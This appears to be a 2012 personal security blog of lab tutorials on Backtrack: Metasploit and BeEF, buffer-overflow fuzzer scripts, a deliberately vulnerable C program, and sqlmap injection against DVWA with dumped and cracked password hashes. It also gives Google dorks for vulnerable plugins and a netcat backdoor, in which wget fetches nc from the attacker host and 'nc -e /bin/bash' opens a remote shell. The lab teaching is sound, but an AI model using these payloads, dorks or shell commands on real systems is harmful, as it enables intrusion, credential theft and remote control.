2/29/12

Attack Vector BeEF + Metasploit

Hey guys,,
In the night, i will be writting tutorial about Attack Vektor on BeEF+Metasploit. Yesterday, i was written first about BeEF and Metasploit. Let's go on tutorial..

Should be prepared :
1. Backtrack (I'm using BT5)
2. Virtual Target (Windows XP + IE)


This step by step

1.  Open your msfconsole on terminal

#msfconsole


2/27/12

BeEF + Metasploit

Now, i want to exploit using Metasploit and BeEF (Browser Exploitation). I'm using backtrack 5.

1. Open apps > Exploitations Tools > Social Engineering Tools > BEEF XSS Framework > BeEF-ng


MsfPayload and MsfEncode

Msfpayload is one of the many great tools included with the Metasploit Framework. It can be used to create customized payloads. To run Msfpayload, first select one of the many payloads included in the framework. Then provide the parameters for the payload and the output format you want it to generate, and it will create a customized payload for you. You can take the resulting file and include it in your own exploits written in C, Ruby, Perl, Java or other languages.

Using Auxiliary tcp scanner of Metasploit

I will try the tcp scanner one of auxiliary from metasploit. Tcp scanner is tools a identification tcp service running.

1. Go to msf auxiliary





What is Social Engineering and SET (Social Engineering Toolkit)

Social engineering is a term that describes non-technical kind of intrusion that relies heavily on human interaction and often involves tricking other people to break normal security procedures


Obtain confidential information or intimation / sensitive by cheating the owner of such information. Social engineering is one of the methods used by hackers to gain information about the target, by requesting the information directly to the victim or others who have that information.

Social engineering concentrates on the weakest chain of computer network system that is man.


2/24/12

Linux Exploitation

Yeah,,this time i will trying to exploit in linux OS. Before time i was tried to some exploit on windows (WarFTP, MiniStream, Vuplayer, BigAnt, FileSharing). Now, I do it on my backtrack 5. Let's go on first step tutorial..

1. Turn off Linux ASLR, open console and type


change value of 2 to be 0

2. Prepare and compile of code

#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]); // Vulnerable function!
return 0;
}

save to be C format file (ex: linex.c)

2/22/12

Buffer Overflow + Exploit File Sharing (SEH-SafeSEH)

Night,,,
I wiill try to Buffer Overflow + Exploit File Sharing Wizard. Let's start tutorial

U must be prepare :
1. Virtual Machine (Windows + Installed on File Sharing Wizard)
2. OllyDbg (Installed on Virtual Machine)
3. Backtrack (i'm using BT5)


1. Run virtual machine and open File Sharing on OllyDbg.
2. Create a script fuzzer to attack File Sharing

#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
string="A"*2000
s.connect(('192.168.43.128',80))
print("Finish")
payload = (
'HEAD %s HTTP/1.1\r\n'
'\r\n') % (string)
s.send(payload)
s.close()

2/17/12

Stack Buffer Overflow + Exploit BigAnt (SEH-SafeSEH)

Hey guys,,,:)
Yesterday I was discussing and practicing how to basic Exploit+Buffer Overflow use Direct Return for some application (WarFTP, RM-MP3 Converter, VUPlayer).  Now I will practice basic Exploit+Buffer Overflow for SEH-SafeSEH application that is BigAnt. BigAnt is commonly used application for messagge on the Office.Okey, let's go to tutorial

Should be prepared :
1. Virtual Machine (Vbox or VMplayer) + Windows
2. BigAnt  version 2.52 (installed on windows)
3. OllyDbg (installed on windows)
4. Backtrack


1. Open OllyDbg and BigAnt , on the OllyDbg click file > attach > select process running BigAnt for AntServer.exe





2/14/12

Buffer Overflow + Exploit VUPlayer

Hey,,, :)
For the third time, I will do buffer overflow + exploit on VUPlayer aplication.
as usual, must to prepared :
1. Virtual Machine (Vbox or VMplayer) + Windows
2. VUPlayer (installed on windows)
3. OllyDbg (installed on windows)
4. Backtrack 

1. First step 
  
Run the VUPlayer on  machine, first I was a little confused where to start. then I try to see the menus on VUPlayer. but I found a menu that is "Add URL"





2/12/12

Buffer Overflow + Exploit Mini-Stream RM-MP3 Converter

Night everybody,, I will try a second time to buffer overflow + Exploits Mini-Stream RM-MP3 Converter which is an application on W*nd*s. 
Surely you already know that this application is used to mp3 file converters.

Should be prepare :

1. Backtrack 5
2. VMware player + Microsoft Windows
3. Fuzzer
4. OllyDbg
5. Mini-Stream RM-MP3 Converter

Oke,,step by step...

2/5/12

Buffer Overflow WarFTP Direct Return (non-SEH)

I will try to exploitation on an application. As the title above to bufferoverflow in applications that run on W*nd*ws. By way of "direct return" I will exploit WarFTP application because it is classified as non-SEH (Structured Expetation Handling) application.


Should be prepare :
1.Backtrack 5
2. Fuzzer
3. Vmware Player + Windows XP
4. WarFTP application
5. OllyDbg application

Oke,
1. Run Windows Xp on Virtual Box
2. Install WarFTP (follow the step the instalations)
3. After installation is complete, open the application WarFTP click properties and then run start service.

2/4/12

Fuzzer / Fuzzing

A Security fuzzer is a tool used by security professionals (and professional hackers ) to test a parameter of an application. Typical fuzzers test an application for buffer overflows, format string vulnerabilities, and error handling. More advanced fuzzers incorporate functionality to test for directory traversal attacks, command execution vulnerabilities, SQL Injection and Cross Site Scripting vulnerabilities. Web Vulnerability scanners typically perform all of this functionality, and can be considered an advanced fuzzer.

2/3/12

About OllyDbg and Instalation

OllyDbg is an x86 debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces registers, recognizes procedures, API calls, switches, tables, constants and strings, as well as locates routines from object files and libraries. Version 1.10 is the final 1.x release. Version 2.0 has recently been released, and OllyDbg has been rewritten from the ground up in this release. The software is free of cost, but the shareware license requires users to register with the author. The current version of OllyDbg cannot always disassemble binaries compiled for 64-bit processors, though a 64-bit version of the debugger has been promised.

Memory Register

The registers are like variables built in the processor. Using registers instead of memory to store values makes the process faster and cleaner. The problem with the x86 serie of processors is that there are few registers to use. This section describes the main use of each register and ways to use them. That in note that the rules described here are more suggestions than strict rules. Some operations need absolutely some kind of registers but most of the you can use any of the freely.

Before entering the buffer overflow much better understanding of memory registers.

2/1/12

Task 5

http://www.ziddu.com/download/18481250/IG.tar.gz.html

Proxychain and Tor

Proxychain


Proxy chaining is merely connecting to more than one proxy and then to your intended destination. You can use as many proxy servers as you can or want. The more you have, the more anonymous you will be.
By using proxy chaining you will work by this way:

computer => proxy1 => proxy2 => ... => proxy X => web-site


Tor

Tor (The onion router) is a free software project and an open network that helps us defend against any type of traffic analysis, allowing us to navigate freely and anonymously. HTTP proxy cache polyp, which handles SOCKS4a, which prevents Firefox send DNS requests outside the Tor network, jeopardizing anonymity. It also speeds up navigation using the Tor network.

SQLi DVWA

1. Open http://127.0.0.1/dvwa



















2. Set DVWA Security to Low















3.  Click SQL Injection and try input 1













4. Open sqlmap

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Xplico=7i9f4jf941j33vv97evgmcd0u0; PHPSESSID=8kh3v3ml3qrh8448he5jfqea77" --string="Surename" --dbs

5. Cookies taken from the Tamper Data Browser > tools > tamper data 











6. Surename is taken from









7. Result



root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Xplico=7i9f4jf941j33vv97evgmcd0u0; PHPSESSID=8kh3v3ml3qrh8448he5jfqea77" --string="Surename" --dbs

    sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 05:11:01

[05:11:01] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[05:11:01] [INFO] resuming injection data from session file
[05:11:01] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[05:11:02] [INFO] testing connection to the target url
[05:11:02] [INFO] testing if the provided string is within the target URL page content
[05:11:02] [WARNING] you provided 'Surename' as the string to match, but such a string is not within the target URL page content original request, sqlmap will keep going anyway
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3568 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,115,112,58),(SELECT (CASE WHEN (3568=3568) THEN 1 ELSE 0 END)),CHAR(58,114,102,113,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JlPA'='JlPA&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'zufp'='zufp&Submit=Submit
---

[05:11:02] [INFO] manual usage of GET payloads requires url encoding
[05:11:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[05:11:02] [INFO] fetching database names
[05:11:02] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': 4
[05:11:02] [INFO] the SQL query used returns 4 entries
[05:11:02] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': mysql
[05:11:02] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': fbip
[05:11:02] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': dvwa
[05:11:02] [INFO] read from file '/pentest/database/sqlmap/output/localhost/session': information_schema
available databases [4]:
[*] dvwa
[*] fbip
[*] information_schema
[*] mysql

[05:11:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'


8. Type and add users passwords

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; Xplico=7i9f4jf941j33vv97evgmcd0u0; PHPSESSID=8kh3v3ml3qrh8448he5jfqea77" --string="Surename" --users --passwords


 sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 05:18:22

[05:18:22] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[05:18:22] [INFO] resuming injection data from session file
[05:18:22] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[05:18:22] [INFO] testing connection to the target url
[05:18:23] [INFO] testing if the provided string is within the target URL page content
[05:18:23] [WARNING] you provided 'Surename' as the string to match, but such a string is not within the target URL page content original request, sqlmap will keep going anyway
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1' AND (SELECT 3568 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,115,112,58),(SELECT (CASE WHEN (3568=3568) THEN 1 ELSE 0 END)),CHAR(58,114,102,113,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'JlPA'='JlPA&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'zufp'='zufp&Submit=Submit
---

[05:18:23] [INFO] manual usage of GET payloads requires url encoding
[05:18:23] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[05:18:23] [INFO] fetching database users
[05:18:23] [INFO] heuristics detected web page charset 'ascii'
[05:18:23] [INFO] the SQL query used returns 108 entries
[05:18:23] [INFO] suppressing possible resume console info because of large number of rows (might take too much time)
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'debian-sys-maint'@'localhost'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:23] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'127.0.0.1'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'builder32'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:24] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
[05:18:25] [INFO] retrieved: 'root'@'localhost'
database management system users [108]:
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'builder32'
[*] 'root'@'localhost'

[05:18:25] [INFO] fetching database users password hashes
[05:18:25] [INFO] the SQL query used returns 4 entries
[05:18:25] [INFO] retrieved: root
[05:18:25] [INFO] retrieved: *8C4C424D182238AFBA8B217F692D07C952EF4087
[05:18:25] [INFO] retrieved: debian-sys-maint
[05:18:25] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[05:18:25] [INFO] retrieved: root
[05:18:25] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[05:18:25] [INFO] retrieved: root
[05:18:25] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[05:18:32] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[05:18:39] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[05:18:44] [INFO] starting dictionary attack (mysql_passwd)
[05:18:47] [INFO] found: 'root' for user: 'debian-sys-maint'                                                                                             
[05:18:47] [INFO] found: 'root' for user: 'root'                                                                                                         
[05:18:47] [INFO] found: 'root' for user: 'root'                                                                                                         
database management system users password hashes:                                                                                                        
[*] debian-sys-maint [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
[*] root [3]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
    clear-text password: root
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
    clear-text password: root
    clear-text password: root
    password hash: *8C4C424D182238AFBA8B217F692D07C952EF4087

[05:21:02] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'

[*] shutting down at: 05:21:02

Google Hacking

Hack google is using advanced operators in Google search engine to find a specific string of text in the search results.

Some examples of the more popular is to find a special version of Web applications are vulnerable. The following search query will find all web pages that have certain text contained in it. It is normal for the default installation of the application to include the version they are running in every page they serve


ex:

inurl:wp-content/plugins/age-verification/age-verification.php

inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"

 

MKFIFO

One of the fundamental features that makes Linux and other Unices useful is the “pipe”. Pipes allow separate processes to communicate without having been designed explicitly to work together. This allows tools quite narrow in their function to be combined in complex ways.
A simple example of using a pipe is the command:
ls | grep x
 
When bash examines the command line, it finds the vertical bar character | that separates the two commands. Bash and other shells run both commands, connecting the output of the first to the input of the second. The ls program produces a list of files in the current directory, while the grep program reads the output of ls and prints only those lines containing the letter x.


The above, familiar to most Unix users, is an example of an “unnamed pipe”. The pipe exists only inside the kernel and cannot be accessed by processes that created it, in this case, the bash shell. For those who don't already know, a parent process is the first process started by a program that in turn creates separate child processes that execute the program.
The other sort of pipe is a “named” pipe, which is sometimes called a FIFO. FIFO stands for “First In, First Out” and refers to the property that the order of bytes going in is the same coming out. The “name” of a named pipe is actually a file name within the file system. Pipes are shown by ls as any other file with a couple of differences:

% ls -l fifo1
prw-r--r--   1 andy  users    0 Jan 22 23:11 fifo1|
The p in the leftmost column indicates that fifo1 is a pipe. The rest of the permission bits control who can read or write to the pipe just like a regular file. On systems with a modern ls, the | character at the end of the file name is another clue, and on Linux systems with the color option enabled, fifo| is printed in red by default.

On older Linux systems, named pipes are created by the mknod program, usually located in the /etc directory. On more modern systems, mkfifo is a standard utility. The mkfifo program takes one or more file names as arguments for this task and creates pipes with those names. For example, to create a named pipe with the name pipe1 give the command:

mkfifo pipe
The simplest way to show how named pipes work is with an example. Suppose we've created pipe as shown above. In one virtual console1, type:

ls -l > pipe1
and in another type:

cat < pipe
Voila! The output of the command run on the first console shows up on the second console. Note that the order in which you run the commands doesn't matter.

If you haven't used virtual consoles before, see the article “Keyboards, Consoles and VT Cruising” by John M. Fisk in the November 1996 Linux Journal.

If you watch closely, you'll notice that the first command you run appears to hang. This happens because the other end of the pipe is not yet connected, and so the kernel suspends the first process until the second process opens the pipe. In Unix jargon, the process is said to be “blocked”, since it is waiting for something to happen.

One very useful application of named pipes is to allow totally unrelated programs to communicate with each other. For example, a program that services requests of some sort (print files, access a database) could open the pipe for reading. Then, another process could make a request by opening the pipe and writing a command. That is, the “server” can perform a task on behalf of the “client”. Blocking can also happen if the client isn't writing, or the server isn't reading.
Pipe Madness
Create two named pipes, pipe1 and pipe2. Run the commands:

echo -n x | cat - pipe1 > pipe2 &
cat <pipe2 > pipe1
On screen, it will not appear that anything is happening, but if you run top (a command similar to ps for showing process status), you'll see that both cat programs are running like crazy copying the letter x back and forth in an endless loop.

After you press ctrl-C to get out of the loop, you may receive the message “broken pipe”. This error occurs when a process writing to a pipe when the process reading the pipe closes its end. Since the reader is gone, the data has no place to go. Normally, the writer will finish writing its data and close the pipe. At this point, the reader sees the EOF (end of file) and executes the request.

Whether or not the “broken pipe” message is issued depends on events at the exact instant the ctrl-C is pressed. If the second cat has just read the x, pressing ctrl-C stops the second cat, pipe1 is closed and the first cat stops quietly, i.e., without a message. On the other hand, if the second cat is waiting for the first to write the x, ctrl-C causes pipe2 to close before the first cat can write to it, and the error message is issued. This sort of random behavior is known as a “race condition”.

Bypass Login Screen

1. For Example

127.0.0.1/fbip
















2. Use firebug and find action action=Process/proses_login.php











4. add http://127.0.0.1/fbip/Process/proses_login.php
5. add http://127.0.0.1/fbip/Process/#%20proses_login.php

Shodan

Shodan is a search engine that lets you find specific computers (routers, servers, etc.) using various filters. Some also describe it as a container scanner banners directory or search engine. (Banners)
 
Web search engines, like Google and Bing, which is great for finding your website. But what if you are interested in finding a computer to run certain parts of the software (like Apache)? Or if you want to know the version of Microsoft's IIS is the most popular? Or you want to see how many anonymous FTP server there? Maybe new vulnerabilities emerge and you want to see how many hosts it can infect?


Rather than to locate specific content on a particular search term. SHODAN is
is designed to help user find specific nodes (desktop, server, routers,switches)
with specific content in their banners

optimizing search result requires some basic knowledge of banners



what's Shodan index?Most of the data taken from the 'banner', which is the meta-data server sends back to the client. This can be information about the server software, support service options, a welcome message or whatever the client wants to know before interacting with the server.



BasicsShodan interface (interface) search, starting with1. Searh the input box2. State map: click on a country to just see the computer from there in the results3. Service filter: deciding where to look4. Options bar: click on it to see the upper filter


From the results of search Shodan1. Search input: a query that we use to find2. Save: save useful search query.3. Export: export up to 1,000 results in XML format.4. Results info: shows how much the number of hosts found for the request.5. Country details: highlights countries that have the most suitable for your query.6. Left result: contains an IP, operating system, and state the date when the computer is added in. If there is information available domain then that will be displayed as well.7. the right side of the results: it shows a banner with the search term (s) highlighted.



 

Maltego

Maltego is a program that can be used to determine the relationship and the relationship between the real world: The people, the group of people (social networks), Companies, Organizations, Web sites, Internet infrastructure such as:
- People
- Groups of people (social networks)
- Companies
- Organization
- Web sites 
- Internet infrastructure such as:
    - Domains
    - DNS names
    - Netblocks
    - IP addresses

- Phrases
- Affiliations
- Documents and files




Maltego can use the collection of information of all security-related jobs. This will save time and will allow for more accurate work.

Maltego help demonstrate interconnected relationships between the items sought.

Maltego help the search is much more powerful, accurate results

Maltego can find the hidden information



Register and activation

Open maltego usually there will be a notice to register, you will be linked to the registration form

 













 fill in the form you will receive confirmation by email for activation

NC Backdooring Backtrack - Ubuntu Virtual Box (UPDATE)

1. Open on terminal Backtrack and type

root@bt:~# whereis nc
nc: /bin/nc /bin/nc.traditional /usr/share/man/man1/nc.1.gz


2. Copy file /bin/nc to folder var/www

root@bt:~# cp /bin/nc /var/www

3. Open Ubuntu on Vbox and then open terminal and type


$ wget 192.168.56.1/nc
















4. Try type ls
5. check and type

$ ls -lia nc








6. Change and type

$ chmod 777 nc

7.  after the check it will be changed
8.  Still in the Ubuntu terminal to proccess listen, type on 


$ sudo ./nc -l -p 123 -e /bin/bash


9. Remote in Backtrack terminal 


root@bt:~# nc 192.168.56.101 123

Slack Space

Slack space is a form of internal fragmentation, i.e. wasted space, on a hard disk. When a file is written to disk it’s stored at the “begin...